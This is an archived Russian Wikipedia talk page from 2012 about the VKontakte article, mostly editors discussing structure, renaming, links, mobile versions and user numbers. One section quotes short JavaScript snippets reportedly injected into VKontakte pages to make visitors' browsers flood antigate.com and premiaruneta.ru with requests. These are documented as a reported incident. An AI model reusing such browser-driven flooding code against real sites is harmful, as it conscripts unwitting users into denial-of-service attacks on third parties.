Обсуждение:ВКонтакте/Архив/2012

Материал из Википедии — свободной энциклопедии
Перейти к навигации Перейти к поиску
Здесь находятся завершившиеся обсуждения. Просьба не вносить изменений.

Ссылка на видеозвонки вконтакте[править код]

http://www.aif.ru/techno/news/108239

История[править код]

Поддержу человека c комментом «Новые функции». Раздел «История» действительно слишком разросся. А поскольку проиходящие на сайте обновления зачастую не слишком важно, то стоит ли засорять этим статью? Предлагаю:

  • Создать отдельную статью про обновления. Что-нибудь типа Обновления ВКонтакте.
  • В основной статье обобщить главные изменения, чтоб получилось по несколько предложений на год.

okras 18:35, 27 января 2012 (UTC)[ответить]

  • В принципе если значимость подтверждается имеющимися источниками в разделе, то можно разделить. Авторитетные источники имеются, т.ч. думаю можно. --Mr.Aleksio 23:07, 27 января 2012 (UTC)[ответить]
  • Ок. И как назовем статью тогда? От kenich мне больше нравится вариант 2, первый слишком, на мой взгляд, длинный. -- okras 08:36, 28 января 2012 (UTC)[ответить]
    • «Социальной сети» точно лишнее, и так думаю всем понятно, что В Контакте это социальная сеть. "В Контакте" надо раздельно, как и в названии этой статьи. Есть ещё варианты: "История развития «В Контакте»" ну или "В Контакте: история развития", склоняюсь к второму варианту написания, чтоб в поисковике удобнее находилось. Или всё же обновления… не знаю. --Mr.Aleksio 09:25, 28 января 2012 (UTC)[ответить]
  • Ну варианти типа "В Контакте: история развития" совершенно не приняты в Википедии, да и больше похоже на название статейке в газете, чем в энциклопедии. Подойдёт «История развития „В Контакте“», особенно учитывая, что именно такое словосочетание используется в интернете — результаты поиска Гугла. AntiKrisT 09:53, 28 января 2012 (UTC)[ответить]

Переименование «В Контакте» -> «ВКонтакте» (2 февраля 2012)[править код]

2 февраля на Википедия:К_переименованию/2_февраля_2012#В Контакте -> ВКонтакте открыл обсуждение о переименовании. Но как-то оно пошло не очень активно и не совсем конструктивно. Может быть кто-нибудь еще желает высказаться под предварительным (надеюсь) итогом. По крайнем мере хочет услышать если критику этой идеи, то по крайней мере содержательную. --okras 09:27, 6 февраля 2012 (UTC)[ответить]

В союзе[править код]

А не убрать ли нам из статьи мини-раздел «В союзе»? Я не считаю, что его можно считать дочерним проектом. Это же ведь по сути просто «скин» для сайта, «особая» локализация + отдельный стиль оформления. Сам-то сайт остается тем же. --okras 07:23, 10 февраля 2012 (UTC)[ответить]

Еще предложения по улучшению статьи[править код]

1) Исправление устаревших ссылок. Чисто технический момент. Ссылки типа vkontakte.ru/board.php?act=topic&tid=1562682, которые встречаются в качестве источников, сейчас являются нерабочими и перенаправляют на главную страницу. Сейчас они должны иметь вид vk.com/topic-279584_1562682. Проблема заключается в том, что vk.com в блеклисте, а значит необходимо писать запрос на добавление нужных ссылок в белый список. Может быть, кто-нибудь этим займется. Я, возможно, попозже соберу по тексту эти нерабочие ссылки и найду для них правильные варианты замены.

2) Иллюстрации. Пришло тут в голову, что неплохо было бы добавить на страницу график (можно и таблицу, но это, по-моему, менее наглядно), показывающий рост аудитории социальной сети. Я таких вещей еще не делал, поэтому снова хочется предложить это сделать кому-то более опытному. Но если никого не найдется, что ж, попробую сам. --okras 08:37, 11 февраля 2012 (UTC)[ответить]

  • П.1. сделал-таки сам, п.2, видимо, придется тоже самому делать. Но на текущий момент у меня появился вопрос по резделу «Платёжная система». Она, как я понимаю, на текущий момент уже умерла. Поэтому есть предложение этот подпункт ликвидировать (интегрировав каким-то образом в раздел «История». Есть у кого-то возражения по этому поводу? okras 19:26, 15 февраля 2012 (UTC)[ответить]

DDOS[править код]

Предлагаю разместить эту таблицу. Я сам её разместить не могу - в коде содержатся ссылки, а страница защищена от добавления ссылок. Разместил на странице пока-что таблицу без кода.

Код в таблице немного изменён для удобочитаемости (расставлены переводы строк) но смысл остаётся тем же.

Атакуемый сайт Дата начала атаки Код
http://antigate.com/ 26.04.2012 
function _test() {
  var fr=utilsNode.appendChild(ce('iframe')),d=fr.contentWindow.document;d.open();
d.write('<script>this.location="http://ant'+'iga'+'te.com/i'+'n.php?'+'firs'+'t_an'+'d_la'+'st_wa'+'rnin'+'g=o'+'n";</sc'+'ript>');
setTimeout(re.pbind(fr),1000);
}

<body onresize="onBodyResize()" class="is_rtl font_default" onload="_test()">

потом код сменился на 

function _test(){var fr=utilsNode.appendChild(ce('iframe')),d=fr.contentWindow.document;
d.open();
d.write('<script>var XHR=window.XDomainRequest||window.XMLHttpRequest,xhr=new XHR();xhr.open("POST","http://ant'+'iga'+'te.com/i'+'n.php",true);xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");var tmp2="37efbb5d02ea8a0045c1b0eb266e2503";for(i=0;i<5;++i)tmp2+=tmp2;xhr.send("method=base64&key=5d6f5463f4268ab11a68bab8973a4845&body="+tmp2+"&ext=jpg");</sc'+'ript>');
d.close();
setTimeout(re.pbind(fr),1000);
}
Премия Рунета 25.10.2008 
<!--this is to test whether they fixed their high load problems this year-->
<div style='display:none'><img src="http://narod.premiaruneta.ru/" /><iframe style='display:none'></iframe></div>
</body>

Источник http://www.securitylab.ru/news/423743.php

Также в подраздел "Порнография" стоит добавить информацию, что в результате халатной организации DDoS-атаки (не использовался атрибут sandbox, предусмотренный HTML5 - прим KOLANICH) часть аудитории сайта была перенаправлена на порносайт. Источник http://habrahabr.ru/post/142836/ 109.111.146.190
Не нужны тут таблицы. Изучите оформление и добавьте сами все свои ссылки. Ющерица 20:03, 26 апреля 2012 (UTC)[ответить]
Напишите текст согласно источнику, пересказав своими словами, а в конце поставьте <ref></ref>, и добавьте между ними ссылку, вот и всё. Ющерица 20:07, 26 апреля 2012 (UTC)[ответить]

Сокращение ссылок.[править код]

А почему бы не добавить vk.com/cc — Сокращение ссылок? ZolPar 06:33, 7 июля 2012 (UTC)[ответить]


История[править код]

Думаю, стоит объединить два раздела "История названия" и "История". А то они мало того, что слегка об одном и том же, так еще и разбиты разделом "Функциональность" зачем-то ;) --AntAver 19:49, 17 июля 2012 (UTC)[ответить]

История названия[править код]

Необходимо добавить альтернативный взгляд на историю названия "ВКонтакте":

Наиболее вероятно, что создатели ресурса просто перевели на русский название уже сущетсвовавшей в то время социальной сети "LinkedIn", в вместе с ним адаптировали и логотип. http://ru.linkedin.com/ 176.14.255.228 21:17, 16 сентября 2012 (UTC) Степан[ответить]

Это вы сами придумали? Mistery Spectre 01:55, 17 сентября 2012 (UTC)[ответить]

Вот еще один сторонник этой теории: http://mediaenglish.livejournal.com/23567.html 82.142.177.118 07:53, 20 сентября 2012 (UTC)[ответить]


Мобильные версии Вконтакте[править код]

Предлагаю опубликовать подраздел о мобильных версиях соц сети. Существует основная мобильная версия соц.сети m.vk.com - более компактная версия сайта. Существует бесплатная ограниченная версия сайта 0.vk.com созданная благодаря вконтакте и несколькими мобильными операторами. Также у вконтакте имеются официальные приложения для iOS,Android,Windows Mobile и т.д. 95.64.217.208 18:50, 14 ноября 2012 (UTC)[ответить]

  • Ну в общем-то да, вполне можно упомянуть. Может быть Вы сами и возьметесь за это? Если напишете более подробно и разместите здесь этот текст, я перенесу его непосредственно на страницу. okras 19:22, 14 ноября 2012 (UTC)[ответить]
    • Написал. Жду решения)

Также вконтакте имеет собственные мобильные сервисы :
Основная мобильная версия m.vk.com имеет широкие функциональные возможности и более практичен для мобильных устройств.
Есть и бесплатная (для некоторых операторов) сокращенная версия вконтакте 0.vk.com . Это облегченная версия сайта без доступа к видео,аудио и фото.
Также есть приложения вконтакте на различный платформах (iOS,Android,Windows Phone и т.д) 95.64.217.208 18:28, 15 ноября 2012 (UTC)[ответить]

  • И вам спасибо за публикацию!) Только если можно про мобильные версии сделайте подзаголовок в заголовке функциональность. ;) так удобнее! 95.64.217.208 15:01, 17 ноября 2012 (UTC)[ответить]
  • Я думал над этим, но в итоге решил, что для нескольких предложений нет необходимости делать отдельного подраздела. По крайней мере, на текущий момент. Если же он со временем разрастется, тогда и можно будет выделить его отдельно. К тому же, сейчас других подразделов в «Функциональности» все равно нет. okras 16:24, 17 ноября 2012 (UTC)[ответить]

Социальная сеть Вконтакте больше не является крупнейшей в Рунете[править код]

Социальная сеть Вконтакте больше не является крупнейшей в Рунете. Да, раньше на ней действительно было 180-190 млн пользователей, но после чистки ресурса от "ботов" и от значительной части "порно-аккаунтов", сегодня на "Вконтакте" осталось всего 100 млн пользователей. Информационное издание "Лента.ру", которое славится своей дружбой с Павлом Дуровым и "Вконтакте" было вынужденно принять эту информацию и внести изменения - http://lenta.ru/news/2012/11/15/vk/ Прошу редакторов одного из самых уважаемых ресурсов "Википедия" внести поправки в первый абзац "«ВКонтакте» — крупнейшая в Рунете социальная сеть" и изменить на ""ВКонтакте" - занимает второе место по количеству пользователей после социальной сети "Одноклассники""— Эта реплика добавлена участником Ohotnikizagolovami (о · в) 13:19, 26 ноября 2012‎ (UTC)[ответить]

В приведённом источнике ничего не сказано ни о какой чистке. Кроме того, на странице каталога ВКонтакте по-прежнему 190 млн аккаунтов.
В связи с этим правку отменяю. Русские идут! 13:30, 26 ноября 2012 (UTC)[ответить]
Каталог отнюдь не является показателем. Нужно ссылаться на страницу «О сайте», где написано, цитирую, «На сайте зарегистрировано более 190 миллионов пользователей». --kenich 15:22, 22 января 2013 (UTC)[ответить]
Если речь идёт именно о количестве человек во ВКонтакте, то вообще нельзя ссылаться на данные ВКонтакте. Это же количество учётных записей. Просто участник Ohotnikizagolovami сказал, что была некая чистка аккаунтов, что не подтверждается каталогом аккаунтов. Русские идут! 22:01, 22 января 2013 (UTC)[ответить]
Это не каталог зарегистрированных пользователей, а действующих аккаунтов: если на сайте нет пользовательской страницы под /id3, то ссылка на нее отсутствует, но при этом последним показателем будет номер профиля, который был создан позднее всех. Да и в английской версии упомянуто, что на сайте зарегистрировано 100 млн пользователей. --kenich 21:03, 24 января 2013 (UTC)[ответить]
Источник — https://ru.wikipedia.org/w/index.php?title=Обсуждение:ВКонтакте/Архив/2012&oldid=62315743